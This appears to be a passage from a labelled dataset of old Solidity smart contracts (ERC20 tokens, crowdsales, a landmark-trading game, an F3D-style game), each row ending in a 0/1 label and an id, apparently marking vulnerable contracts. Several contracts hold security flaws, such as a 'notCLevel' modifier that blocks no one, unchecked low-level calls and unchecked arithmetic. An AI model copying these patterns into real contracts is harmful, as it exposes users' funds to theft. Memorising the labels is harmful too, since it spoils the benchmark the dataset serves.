toFund = leftForSale.div(exchangeRate);
}
assert(wct.generateTokens(_th, tokensGenerated));
totalSold = totalSold.add(tokensGenerated);
preSaleWallet.transfer(toFund);
NewSale(_th, toFund, tokensGenerated);
} else {
toFund = 0;
}
}
uint256 toReturn = msg.value.sub(toFund);
if (toReturn > 0) {
caller.transfer(toReturn);
}
}
function isContract(address _addr) constant internal returns (bool) {
if (_addr == 0) return false;
uint256 size;
assembly {
size := extcodesize(_addr)
}
return (size > 0);
}
function finalize() public initialized {
require(finalizedBlock == 0);
assert(getBlockNumber() >= startBlock);
assert(msg.sender == controller || getBlockNumber() > endBlock || tokensForSale() == 0);
wct.changeController(0x0);
finalizedBlock = getBlockNumber();
Finalized(finalizedBlock);
}
function tokensForSale() public constant returns(uint256) {
return totalSupplyCap > totalSold ? totalSupplyCap - totalSold : 0;
}
function getBlockNumber() internal constant returns (uint256) {
return block.number;
}
function claimTokens(address _token) public onlyController {
if (wct.controller() == address(this)) {
wct.claimTokens(_token);
}
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
ERC20 token = ERC20(_token);
uint256 balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
function pauseContribution(bool _paused) onlyController {
paused = _paused;
}
function allowTransfers(bool _transferable) onlyController {
transferable = _transferable;
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint256 _amount);
event NewSale(address indexed _th, uint256 _amount, uint256 _tokens);
event Initialized(uint _now);
event Finalized(uint _now);
} | 1 | 2,464 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract EACCoin is ERC20 {
using SafeMath for uint256;
address public owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public constant name = "expert adviso chain";
string public constant symbol = "EAC";
uint public constant decimals = 8;
uint256 public totalSupply = 210000000e8;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed burner, uint256 value);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function EACCoin () public {
owner = msg.sender;
balances[msg.sender] = totalSupply;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function withdraw() onlyOwner public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
} | 1 | 2,470 |
pragma solidity ^0.4.18;
contract CryptoLandmarks {
using SafeMath for uint256;
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event LandmarkSold(uint256 tokenId, uint256 price, uint256 nextPrice, address prevOwner, address owner);
event PriceChanged(uint256 tokenId, uint256 price);
event LandmarkCreated(uint256 tokenId, uint256 groupId, uint256 price, address owner);
string public constant NAME = "CryptoLandmarks.co Landmarks";
string public constant SYMBOL = "LANDMARK";
uint256 private startingPrice = 0.03 ether;
uint256 private ambassadorStartingPrice = 3 ether;
uint256 public transactions = 0;
address public ceo;
address public coo;
uint256[] private landmarks;
mapping (uint256 => uint256) landmarkToMaxPrice;
mapping (uint256 => uint256) landmarkToPrice;
mapping (uint256 => address) landmarkToOwner;
mapping (uint256 => uint256) landmarkToAmbassador;
mapping (uint256 => uint256) groupLandmarksCount;
mapping (address => uint256) public withdrawCooldown;
mapping (uint256 => address) landmarkToApproved;
mapping (address => uint256) landmarkOwnershipCount;
function CryptoLandmarks() public {
ceo = msg.sender;
coo = msg.sender;
}
function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) {
if (_price < 0.2 ether)
return _price.mul(2);
if (_price < 4 ether)
return _price.mul(17).div(10);
if (_price < 15 ether)
return _price.mul(141).div(100);
else
return _price.mul(134).div(100);
}
function calculateDevCut (uint256 _price) public view returns (uint256 _devCut) {
if (_price < 0.2 ether)
return 5;
if (_price < 4 ether)
return 4;
if (_price < 15 ether)
return 3;
else
return 2;
}
function buy(uint256 _tokenId) public payable {
address oldOwner = landmarkToOwner[_tokenId];
require(oldOwner != msg.sender);
require(msg.sender != address(0));
uint256 sellingPrice = priceOfLandmark(_tokenId);
require(msg.value >= sellingPrice);
uint256 excess = msg.value.sub(sellingPrice);
uint256 groupId = landmarkToAmbassador[_tokenId];
uint256 groupMembersCount = groupLandmarksCount[groupId];
uint256 devCut = calculateDevCut(sellingPrice);
uint256 payment;
if (_tokenId < 1000) {
payment = sellingPrice.mul(SafeMath.sub(95, devCut)).div(100);
} else {
payment = sellingPrice.mul(SafeMath.sub(90, devCut)).div(100);
}
uint256 feeGroupMember = (sellingPrice.mul(5).div(100)).div(groupMembersCount);
for (uint i = 0; i < totalSupply(); i++) {
uint id = landmarks[i];
if ( landmarkToAmbassador[id] == groupId ) {
if ( _tokenId == id) {
oldOwner.transfer(payment);
}
if (groupId == id && _tokenId >= 1000) {
landmarkToOwner[id].transfer(sellingPrice.mul(5).div(100));
}
landmarkToOwner[id].transfer(feeGroupMember);
}
}
uint256 nextPrice = calculateNextPrice(sellingPrice);
landmarkToPrice[_tokenId] = nextPrice;
landmarkToMaxPrice[_tokenId] = nextPrice;
_transfer(oldOwner, msg.sender, _tokenId);
if (excess > 0) {
msg.sender.transfer(excess);
}
transactions++;
LandmarkSold(_tokenId, sellingPrice, nextPrice, oldOwner, msg.sender);
}
function changePrice(uint256 _tokenId, uint256 _price) public {
require(landmarkToOwner[_tokenId] == msg.sender);
require(landmarkToMaxPrice[_tokenId] >= _price);
landmarkToPrice[_tokenId] = _price;
PriceChanged(_tokenId, _price);
}
function createLandmark(uint256 _tokenId, uint256 _groupId, address _owner, uint256 _price) public onlyCOO {
if (_price <= 0 && _tokenId >= 1000) {
_price = startingPrice;
} else if (_price <= 0 && _tokenId < 1000) {
_price = ambassadorStartingPrice;
}
if (_owner == address(0)) {
_owner = coo;
}
if (_tokenId < 1000) {
_groupId == _tokenId;
}
landmarkToPrice[_tokenId] = _price;
landmarkToMaxPrice[_tokenId] = _price;
landmarkToAmbassador[_tokenId] = _groupId;
groupLandmarksCount[_groupId]++;
_transfer(address(0), _owner, _tokenId);
landmarks.push(_tokenId);
LandmarkCreated(_tokenId, _groupId, _price, _owner);
}
function getLandmark(uint256 _tokenId) public view returns (
uint256 ambassadorId,
uint256 sellingPrice,
uint256 maxPrice,
uint256 nextPrice,
address owner
) {
ambassadorId = landmarkToAmbassador[_tokenId];
sellingPrice = landmarkToPrice[_tokenId];
maxPrice = landmarkToMaxPrice[_tokenId];
nextPrice = calculateNextPrice(sellingPrice);
owner = landmarkToOwner[_tokenId];
}
function priceOfLandmark(uint256 _tokenId) public view returns (uint256) {
return landmarkToPrice[_tokenId];
}
modifier onlyCEO() {
require(msg.sender == ceo);
_;
}
modifier onlyCOO() {
require(msg.sender == coo);
_;
}
modifier onlyCLevel() {
require(
msg.sender == ceo ||
msg.sender == coo
);
_;
}
modifier notCLevel() {
require(
msg.sender != ceo ||
msg.sender != coo
);
_;
}
function withdrawBalance() external notCLevel {
require(landmarkOwnershipCount[msg.sender] >= 3);
require(withdrawCooldown[msg.sender] <= now);
require(transactions >= 10);
uint256 balance = this.balance;
require(balance >= 0.3 ether);
uint256 senderCut = balance.mul(3).div(1000).mul(landmarkOwnershipCount[msg.sender]);
msg.sender.transfer(senderCut);
withdrawCooldown[msg.sender] = now + 1 weeks;
ceo.transfer(balance.sub(senderCut));
transactions = 0;
}
function transferOwnership(address newOwner) public onlyCEO {
if (newOwner != address(0)) {
ceo = newOwner;
}
}
function setCOO(address newCOO) public onlyCOO {
if (newCOO != address(0)) {
coo = newCOO;
}
}
function _transfer(address _from, address _to, uint256 _tokenId) private {
landmarkOwnershipCount[_to]++;
landmarkToOwner[_tokenId] = _to;
if (_from != address(0)) {
landmarkOwnershipCount[_from]--;
delete landmarkToApproved[_tokenId];
}
Transfer(_from, _to, _tokenId);
}
function implementsERC721() public pure returns (bool) {
return true;
}
function totalSupply() public view returns (uint256) {
return landmarks.length;
}
function name() public pure returns (string) {
return NAME;
}
function symbol() public pure returns (string) {
return SYMBOL;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return landmarkOwnershipCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address owner) {
owner = landmarkToOwner[_tokenId];
require(owner != address(0));
}
function transfer(address _to, uint256 _tokenId) public {
require(_to != address(0));
require(landmarkToOwner[_tokenId] == msg.sender);
_transfer(msg.sender, _to, _tokenId);
}
function approve(address _to, uint256 _tokenId) public {
require(landmarkToOwner[_tokenId] == msg.sender);
landmarkToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId) public {
require(landmarkToApproved[_tokenId] == _to);
require(_to != address(0));
require(landmarkToOwner[_tokenId] == _from);
_transfer(_from, _to, _tokenId);
}
function tokensOfOwner(address _owner) public view returns(uint256[]) {
uint256 tokenCount = balanceOf(_owner);
uint256[] memory result = new uint256[](tokenCount);
uint256 total = totalSupply();
uint256 resultIndex = 0;
for(uint256 i = 0; i <= total; i++) {
if (landmarkToOwner[i] == _owner) {
result[resultIndex] = i;
resultIndex++;
}
}
return result;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,343 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount);
}
contract Crowdsale {
uint public createdTimestamp; uint public start; uint public deadline;
address public beneficiary;
uint public amountRaised;
mapping(address => uint256) public balanceOf;
bool crowdsaleClosed = false;
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale(
) {
createdTimestamp = block.timestamp;
start = 1526292000;
deadline = 1529143200;
amountRaised=0;
beneficiary = 0xDfD0500541c6F14eb9eD2A6e61BB63bc78693925;
}
function () payable {
require(block.timestamp >= start && block.timestamp <= deadline && amountRaised<(6000 ether) );
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
FundTransfer(msg.sender, amount, true);
if (beneficiary.send(amount)) {
FundTransfer(beneficiary, amount, false);
}
}
} | 0 | 1,714 |
pragma solidity "0.4.25";
contract InterestRateInterface {
uint256 public constant SCALEFACTOR = 1e18;
function getCurrentCompoundingLevel() public view returns (uint256);
function getCompoundingLevelDate(uint256 _date) public view returns (uint256);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Interface {
function totalSupply() public view returns(uint256 supply);
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Ownable {
address public owner;
address public newOwner;
modifier onlyOwner() {
require(msg.sender == owner, "Only Owner");
_;
}
modifier onlyNewOwner() {
require(msg.sender == newOwner, "Only New Owner");
_;
}
modifier notNull(address _address) {
require(_address != 0,"address is Null");
_;
}
constructor() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) public notNull(_newOwner) onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public onlyNewOwner {
address oldOwner = owner;
owner = newOwner;
newOwner = address(0);
emit OwnershipTransferred(oldOwner, owner);
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
contract InterestRateNone is InterestRateInterface {
function getCurrentCompoundingLevel() public view returns (uint256) {
return SCALEFACTOR;
}
function getCompoundingLevelDate(uint256 ) public view returns (uint256) {
return SCALEFACTOR;
}
}
contract MigrationAgent is Ownable {
address public migrationToContract;
address public migrationFromContract;
modifier onlyMigrationFromContract() {
require(msg.sender == migrationFromContract, "Only from migration contract");
_;
}
function startMigrateToContract(address _toContract) public onlyOwner {
migrationToContract = _toContract;
require(MigrationAgent(migrationToContract).isMigrationAgent(), "not a migratable contract");
emit StartMigrateToContract(address(this), _toContract);
}
function startMigrateFromContract(address _fromConstract) public onlyOwner {
migrationFromContract = _fromConstract;
require(MigrationAgent(migrationFromContract).isMigrationAgent(), "not a migratable contract");
emit StartMigrateFromContract(_fromConstract, address(this));
}
function migrate() public;
function migrateFrom(address _from, uint256 _value) public returns(bool);
function isMigrationAgent() public pure returns(bool) {
return true;
}
event StartMigrateToContract(address indexed fromConstract, address indexed toContract);
event StartMigrateFromContract(address indexed fromConstract, address indexed toContract);
event MigratedTo(address indexed owner, address indexed _contract, uint256 value);
event MigratedFrom(address indexed owner, address indexed _contract, uint256 value);
}
contract Pausable is Ownable {
bool public paused = false;
modifier whenNotPaused() {
require(!paused, "only when not paused");
_;
}
modifier whenPaused() {
require(paused, "only when paused");
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
event Pause();
event Unpause();
}
contract Operator is Ownable {
address public operator;
modifier onlyOperator {
require(msg.sender == operator, "Only Operator");
_;
}
constructor() public {
operator = msg.sender;
}
function transferOperator(address _newOperator) public notNull(_newOperator) onlyOwner {
operator = _newOperator;
emit TransferOperator(operator, _newOperator);
}
event TransferOperator(address indexed from, address indexed to);
}
contract ERC20Token is Ownable, ERC20Interface {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
constructor() public {
}
function transfer(address _to, uint256 _value) public returns (bool success) {
return transferInternal(msg.sender, _to, _value);
}
function approve(address _spender, uint256 _value) public notNull(_spender) returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowed[_from][msg.sender], "insufficient tokens");
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
return transferInternal(_from, _to, _value);
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transferInternal(address _from, address _to, uint256 _value) internal returns (bool) {
uint256 value = subTokens(_from, _value);
addTokens(_to, value);
emit Transfer(_from, _to, value);
return true;
}
function addTokens(address _owner, uint256 _value) internal;
function subTokens(address _owner, uint256 _value) internal returns (uint256 _valueDeducted );
function setBalance(address _owner, uint256 _value) internal notNull(_owner) {
balances[_owner] = _value;
}
}
contract PausableToken is ERC20Token, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool success) {
return super.approve(_spender, _value);
}
}
contract MintableToken is PausableToken
{
using SafeMath for uint256;
address public minter;
uint256 internal minted;
uint256 internal burned;
modifier onlyMinter {
assert(msg.sender == minter);
_;
}
constructor() public {
minter = msg.sender;
}
function mint(address _to, uint256 _value) public notNull(_to) onlyMinter {
addTokens(_to, _value);
notifyMinted(_to, _value);
}
function burn(uint256 _value) public whenNotPaused {
uint256 value = subTokens(msg.sender, _value);
notifyBurned(msg.sender, value);
}
function transferMinter(address _newMinter) public notNull(_newMinter) onlyOwner {
address oldMinter = minter;
minter = _newMinter;
emit TransferMinter(oldMinter, _newMinter);
}
function notifyBurned(address _owner, uint256 _value) internal {
burned = burned.add(_value);
emit Transfer(_owner, address(0), _value);
}
function notifyMinted(address _to, uint256 _value) internal {
minted = minted.add(_value);
emit Transfer(address(0), _to, _value);
}
function checkMintOrBurn(address _owner, uint256 _balanceBefore, uint256 _balanceAfter) internal {
if (_balanceBefore > _balanceAfter) {
uint256 burnedTokens = _balanceBefore.sub(_balanceAfter);
notifyBurned(_owner, burnedTokens);
} else if (_balanceBefore < _balanceAfter) {
uint256 mintedTokens = _balanceAfter.sub(_balanceBefore);
notifyMinted(_owner, mintedTokens);
}
}
function totalSupply() public view returns(uint256 supply) {
return minted.sub(burned);
}
event TransferMinter(address indexed from, address indexed to);
}
contract CryptoFranc is MintableToken, MigrationAgent, Operator, InterestRateNone {
using SafeMath for uint256;
string constant public name = "CryptoFranc";
string constant public symbol = "XCHF";
uint256 constant public decimals = 18;
string constant public version = "1.0.0.0";
uint256 public dustAmount;
string public currentFullName;
string public announcedFullName;
uint256 public currentMaturityDate;
uint256 public announcedMaturityDate;
uint256 public currentTermEndDate;
uint256 public announcedTermEndDate;
InterestRateInterface public currentTerms;
InterestRateInterface public announcedTerms;
mapping(address => uint256) internal compoundedInterestFactor;
constructor(string _initialFullName, uint256 _dustAmount) public {
currentFullName = _initialFullName;
announcedFullName = _initialFullName;
dustAmount = _dustAmount;
currentTerms = this;
announcedTerms = this;
announcedMaturityDate = block.timestamp;
announcedTermEndDate = block.timestamp;
}
function announceRollover(string _newName, address _newTerms, uint256 _newMaturityDate, uint256 _newTermEndDate) public notNull(_newTerms) onlyOperator {
require(block.timestamp >= announcedMaturityDate);
uint256 newMaturityDate;
if (_newMaturityDate == 0)
newMaturityDate = block.timestamp;
else
newMaturityDate = _newMaturityDate;
require(newMaturityDate >= announcedTermEndDate);
require(newMaturityDate <= block.timestamp.add(100 days),"sanitycheck on newMaturityDate");
require(newMaturityDate <= _newTermEndDate,"term must start before it ends");
require(_newTermEndDate <= block.timestamp.add(200 days),"sanitycheck on newTermEndDate");
InterestRateInterface terms = InterestRateInterface(_newTerms);
uint256 newBeginLevel = terms.getCompoundingLevelDate(newMaturityDate);
uint256 annEndLevel = announcedTerms.getCompoundingLevelDate(newMaturityDate);
require(annEndLevel == newBeginLevel,"new initialCompoundingLevel <> old finalCompoundingLevel");
currentTerms = announcedTerms;
currentFullName = announcedFullName;
currentMaturityDate = announcedMaturityDate;
currentTermEndDate = announcedTermEndDate;
announcedTerms = terms;
announcedFullName = _newName;
announcedMaturityDate = newMaturityDate;
announcedTermEndDate = _newTermEndDate;
emit AnnounceRollover(_newName, _newTerms, newMaturityDate, _newTermEndDate);
}
function collectInterest( address _owner) public notNull(_owner) whenNotPaused {
uint256 rawBalance = super.balanceOf(_owner);
uint256 adjustedBalance = getAdjustedValue(_owner);
setBalance(_owner, adjustedBalance);
checkMintOrBurn(_owner, rawBalance, adjustedBalance);
}
function migrateFrom(address _from, uint256 _value) public onlyMigrationFromContract returns(bool) {
addTokens(_from, _value);
notifyMinted(_from, _value);
emit MigratedFrom(_from, migrationFromContract, _value);
return true;
}
function migrate() public whenNotPaused {
require(migrationToContract != 0, "not in migration mode");
uint256 value = balanceOf(msg.sender);
require (value > 0, "no balance");
value = subTokens(msg.sender, value);
notifyBurned(msg.sender, value);
require(MigrationAgent(migrationToContract).migrateFrom(msg.sender, value)==true, "migrateFrom must return true");
emit MigratedTo(msg.sender, migrationToContract, value);
}
function refundForeignTokens(address _tokenaddress,address _to) public notNull(_to) onlyOperator {
ERC20Interface token = ERC20Interface(_tokenaddress);
token.transfer(_to, token.balanceOf(this));
}
function getFullName() public view returns (string) {
if ((block.timestamp <= announcedMaturityDate))
return currentFullName;
else
return announcedFullName;
}
function getCompoundingLevel(address _owner) public view returns (uint256) {
uint256 level = compoundedInterestFactor[_owner];
if (level == 0) {
return SCALEFACTOR;
} else {
return level;
}
}
function balanceOf(address _owner) public view returns (uint256) {
return getAdjustedValue(_owner);
}
function addTokens(address _owner,uint256 _value) notNull(_owner) internal {
uint256 rawBalance = super.balanceOf(_owner);
uint256 adjustedBalance = getAdjustedValue(_owner);
setBalance(_owner, adjustedBalance.add(_value));
checkMintOrBurn(_owner, rawBalance, adjustedBalance);
}
function subTokens(address _owner, uint256 _value) internal notNull(_owner) returns (uint256 _valueDeducted ) {
uint256 rawBalance = super.balanceOf(_owner);
uint256 adjustedBalance = getAdjustedValue(_owner);
uint256 newBalance = adjustedBalance.sub(_value);
if (newBalance <= dustAmount) {
_valueDeducted = _value.add(newBalance);
newBalance = 0;
} else {
_valueDeducted = _value;
}
setBalance(_owner, newBalance);
checkMintOrBurn(_owner, rawBalance, adjustedBalance);
}
function setBalance(address _owner, uint256 _value) internal {
super.setBalance(_owner, _value);
if (_value == 0) {
delete compoundedInterestFactor[_owner];
} else {
uint256 currentLevel = getInterestRate().getCurrentCompoundingLevel();
if (currentLevel != getCompoundingLevel(_owner)) {
compoundedInterestFactor[_owner] = currentLevel;
}
}
}
function getInterestRate() internal view returns (InterestRateInterface) {
if ((block.timestamp <= announcedMaturityDate))
return currentTerms;
else
return announcedTerms;
}
function getAdjustedValue(address _owner) internal view returns (uint256) {
uint256 _rawBalance = super.balanceOf(_owner);
if (_rawBalance == 0)
return 0;
uint256 startLevel = getCompoundingLevel(_owner);
uint256 currentLevel = getInterestRate().getCurrentCompoundingLevel();
return _rawBalance.mul(currentLevel).div(startLevel);
}
function getAdjustedValueDate(address _owner,uint256 _date) public view returns (uint256) {
uint256 _rawBalance = super.balanceOf(_owner);
if (_rawBalance == 0)
return 0;
uint256 startLevel = getCompoundingLevel(_owner);
InterestRateInterface dateTerms;
if (_date <= announcedMaturityDate)
dateTerms = currentTerms;
else
dateTerms = announcedTerms;
uint256 dateLevel = dateTerms.getCompoundingLevelDate(_date);
return _rawBalance.mul(dateLevel).div(startLevel);
}
event AnnounceRollover(string newName, address indexed newTerms, uint256 indexed newMaturityDate, uint256 indexed newTermEndDate);
} | 0 | 765 |
pragma solidity ^0.4.24;
interface tokenRecipient {
function receiveApproval(address _from, uint _value, address _token, bytes _extraData) external;
}
contract owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) onlyOwner public returns (bool success) {
newOwner = _newOwner;
return true;
}
function acceptOwnership() public returns (bool success) {
require(msg.sender == newOwner);
owner = newOwner;
emit OwnershipTransferred(owner, newOwner);
newOwner = address(0);
return true;
}
}
contract TokenERC20 is owned {
string public name = 'Worldcoin';
string public symbol = 'WDT';
uint8 public decimals = 8;
uint public totalSupply = 50000000000000;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
mapping (address => bool) public frozenAccount;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
event FrozenFunds(address indexed target, bool frozen);
constructor() TokenERC20() public {
balanceOf[msg.sender] = totalSupply;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function _multipleTransfer(address _from, address[] addresses, uint[] amounts) internal {
for (uint i=0; i<addresses.length; i++) {
address _to = addresses[i];
uint _value = amounts[i];
_transfer(_from, _to, _value);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function multipleTransfer(address[] addresses, uint[] amounts) public returns (bool success) {
_multipleTransfer(msg.sender, addresses, amounts);
return true;
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approveAndCall(address _spender, uint _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
function approve(address _spender, uint _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function freezeAccount(address target, bool freeze) onlyOwner public returns (bool success) {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
return true;
}
} | 1 | 2,501 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract F3DSHORT is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x004f29f33530cfa4a9f10e1a83ca4063ce96df7149);
address private admin = msg.sender;
string constant public name = "f3dshort";
string constant public symbol = "f3dshort";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 2 minutes;
uint256 constant private rndInit_ = 8 minutes;
uint256 constant private rndInc_ = 1 seconds;
uint256 constant private rndMax_ = 10 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
